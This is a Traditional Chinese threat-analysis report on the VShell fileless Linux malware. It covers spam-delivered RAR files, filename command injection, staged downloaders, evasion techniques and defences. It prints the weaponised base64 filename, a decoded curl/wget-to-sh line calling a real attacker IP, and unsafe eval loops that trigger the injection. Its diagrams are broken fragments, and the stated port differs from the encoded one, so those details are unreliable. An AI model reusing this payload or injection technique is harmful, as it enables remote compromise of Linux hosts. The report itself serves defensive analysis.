
摘要
本報告針對 VShell 惡意軟體進行詳細的技術分析,此為一種鎖定 Linux 環境的無檔案式威脅。本分析解剖了其感染鏈,從透過垃圾電子郵件的初始傳遞到最終的 Payload 執行。它著重於利用檔名來觸發多階段攻擊的創新技術,運用 shell 命令注入和 base64 編碼來實現隱匿執行。本報告檢視了每個階段的程式碼,包括初始的 Bash 下載器、具架構感知的下載器腳本,以及最終的 ELF Payload。此外,本報告將 VShell 攻擊置於更廣泛的無檔案式惡意軟體環境中,討論其常見技術和迴避機制。本報告還包含了感染流程和檔名解析機制的圖形化呈現,以提供對攻擊架構的清晰理解。

1. 無檔案式惡意軟體與 VShell 威脅簡介
無檔案式惡意軟體代表了網路威脅的重大演進,其擺脫了傳統的可執行檔,轉而採用記憶體內執行和濫用合法的系統工具。這種方法通常被稱為「寄生攻擊」("living off the land"),讓攻擊者能夠迴避基於簽章的偵測,並將其鑑識痕跡降至最低 [1]。VShell 惡意軟體是此類複雜威脅的絕佳範例,最近由 Trellix Advanced Research Center 進行分析,其特別鎖定 Linux 系統。它採用一種高度創新的技術:將 malicious payload 直接嵌入檔名中。這種方法將一個看似無害的操作(例如列出檔案)變成觸發多階段感染的開關,最終讓攻擊者獲得對受害系統的完整遠端存取權限 [8]。
2. VShell 感染鏈分析
VShell 感染鏈是一個為隱匿和持久化而設計的多階段程序。它始於社交工程,最終以一個複雜的後門執行告終。以下圖表說明了完整的感染流程:
Malicious RAR] --> B[2. User extracts RAR]--> C[3. Malicious Filename
Stage 1 Payload] --> D[4. Vulnerable Shell Command
Execution] end subgraph y[" "] E[5. Base64 Decoded Stage 1
Bash Script Execution] --> F[6. Download Stage 2
Downloader Script curl/wget] --> G[7. Execute Stage 2
Downloader Script] end subgraph z[" "] H[8. System Architecture
Detection uname -m] --> I[9. Download
Architecture-Specific
ELF Binary] --> J[10. Execute ELF
Binary nohup] end subgraph w[" "] K[11. Decrypt Final
Payload XOR] --> L[12. Execute Final Payload
VShell as Fake
Kernel Thread] --> M[13. Full-Featured
Remote Access Backdoor] end x --> y y --> z z --> w
2.1. 初始感染媒介
攻擊是透過垃圾電子郵件發起,這是惡意軟體分發的常見媒介。這封偽裝成調查邀請的電子郵件,包含一個惡意的 RAR 壓縮檔。這種社交工程策略旨在引誘使用者產生錯誤的安全感,使其更有可能與附件互動。解壓縮 RAR 檔案後,一個帶有 weaponized filename 的檔案會在系統上建立。值得注意的是,感染並非由解壓縮本身觸發,而是由隨後一個脆弱的 shell 命令處理此檔名時所觸發。
2.2. weaponized filename:第一階段 Payload
VShell 攻擊的核心創新點在於其使用 weaponized filename 作為初始 payload。此檔名並非簡單的字串,而是一個由 shell 解析並執行的命令。觀察到的檔名為:
ziliao2.pdf{echo,KGN1cmwgLWZzU0wgLW0xODAgaHR0cDovLzQ3Ljk4LjE5NC42MDo4MDg0L3Nsd3x8d2dldCAtVDE4MCAtcSBodHRwOi8vNDcuOTguMTk0LjYwOjgwODQvc2x3KXxzaCAg}_{base64,-d}_bash
此檔名被設計為由 shell 解釋為一系列的命令。以下圖表分解了 shell 如何解析此檔名:
echo payload] end subgraph y[" "] D[Output
Base64 Encoded String] --> E[Pipe to Base64 Decoder] --> F[Base64 Decoded String] end subgraph z[" "] G[Pipe to Bash] --> H[Execute Decoded String
as Bash Script] end x --> y y --> z
當一個沒有適當清理檔名的腳本或命令處理此檔案時,執行便會被觸發。此類脆弱命令的常見範例包括:
-
for f in *; do eval "echo $f"; done
-
eval "$(ls)"
-
find . -exec bash -c 'eval "echo {}"' \;
-
ls | while read f; do eval "echo $f"; done
3. 程式碼與 Payload 分析
3.1. 第一階段:初始 Bash 下載器
檔名中 base64 編碼的 payload 解碼後會變成以下的 Bash 腳本:
(curl -fsSL -m180 http://47.98.194.60:443/slw||wget -T180 -q http://47.98.194.60:443/slw)|sh
這個單行腳本負責下載惡意軟體的下一個階段。它透過先嘗試使用 `curl`,若失敗則退回到 `wget`,展現了一定程度的韌性。下載的腳本隨後直接導向 `sh` 執行,這是一種典型的無檔案式技術,可避免將 payload 寫入磁碟。
3.2. 第二階段:具架構感知的下載器
第二階段腳本是一個更進階的下載器,它會在獲取最終 payload 之前執行系統偵察。其主要功能包括:
- 環境設定: 它會擴展 `PATH` 環境變數以包含常見的二進位位置,確保其命令無論當前工作目錄為何都能夠執行。
- 可寫入目錄識別: 該腳本會探測可寫入的目錄,例如 `/tmp` 和 `/usr/local/bin`,以確定適合放置和執行檔案的位置。
- 架構偵測: 它使用 `uname -m` 命令來識別系統的架構(例如 x86_64、aarch64)。這使得惡意軟體能夠下載專門為目標系統編譯的 payload,從而提高其有效性和隱匿性。
- Payload 下載與執行: 根據偵測到的架構,腳本會從 C2 伺服器下載最終的 ELF 二進位檔案。然後它使用 `chmod +x` 使二進位檔案可執行,並使用 `nohup` 在背景執行,確保即使使用者的 session 終止,payload 也能持續存在。
3.3. 第三階段:最終 ELF Payload (VShell)
攻擊的最終階段是 VShell ELF 二進位檔案。此 payload 以加密形式下載,並使用金鑰 `0x99` 透過簡單的 XOR cipher 在記憶體中解密。一旦解密,VShell payload 會被偽裝成合法的系統程序(例如 `[kworker/0:2]`),作為虛假的 Kernel thread 執行,以迴避偵測。VShell 為攻擊者提供了一個功能齊全的遠端存取後門,賦予他們對受害系統的完全控制權。
4. 迴避技術與防禦策略
VShell 惡意軟體採用了數種迴避技術,使其特別難以偵測和防禦:
- 無檔案式執行: VShell 主要在記憶體中執行並利用合法的系統工具,因此能避開傳統基於檔案的偵測方法。
- 混淆: 使用 base64 編碼和 XOR 加密來隱藏 malicious payload,使其免於靜態分析。
- 偽裝: 最終的 payload 偽裝成 Kernel thread,使其難以與合法的系統程序區分。
防禦像 VShell 這樣的威脅需要多層次的安全方法:
- 安全編碼實踐: 應教育 shell 腳本的開發者關於未清理的檔名處理所帶來的危險。使用帶有 `-print0` 和 `xargs -0` 的 `find` 或其他安全的檔案處理實踐可以防止命令注入漏洞。
- 行為分析: 監控系統行為異常(例如來自合法程序的意外網路連線或不尋常的命令列參數)的安全解決方案,更有可能偵測到無檔案式攻擊。
- 出口過濾(Egress Filtering): 限制出站網路流量只流向已知的良好目的地,可以阻止惡意軟體與其 C2 伺服器通訊。
- 最小權限原則: 限制使用者和程序的權限可以降低成功入侵的影響,防止惡意軟體獲得對系統的完全控制。
5. 結論
VShell 惡意軟體證明了 Threat actor 持續不斷的創新。其使用 weaponized filename 在 Linux 系統上發起無檔案式攻擊,凸顯了我們在處理資安問題上需要思維轉變。隨著攻擊者越來越多地利用合法的系統工具和記憶體內執行,傳統的安全措施變得越來越無效。結合安全編碼實踐、行為分析和網路安全的縱深防禦策略,對於對抗這些不斷演進的威脅至關重要。VShell 攻擊嚴厲地提醒我們,沒有任何平台可以倖免於攻擊,在現今的威脅環境中,主動且多層次的安全方法是至關重要的。
References
- CrowdStrike. (2024, November 26). What is Fileless Malware?.
- Palo Alto Networks. What Are Fileless Malware Attacks and “Living Off the Land”?.
- Cybereason. Explaining Fileless Malware Succinctly with Examples from our Nocturnus Research.
- Fortinet. What Is Fileless Malware? Examples, Detection and Prevention.
- Xcitium. What Is Fileless Malware?.
- Morphisec. Fileless Malware Evades Detection-Based Security.
- MITRE ATT&CK®. Obfuscated Files or Information: Fileless Storage.
- Trellix. (2025, August 21). The Silent, Fileless Threat of VShell.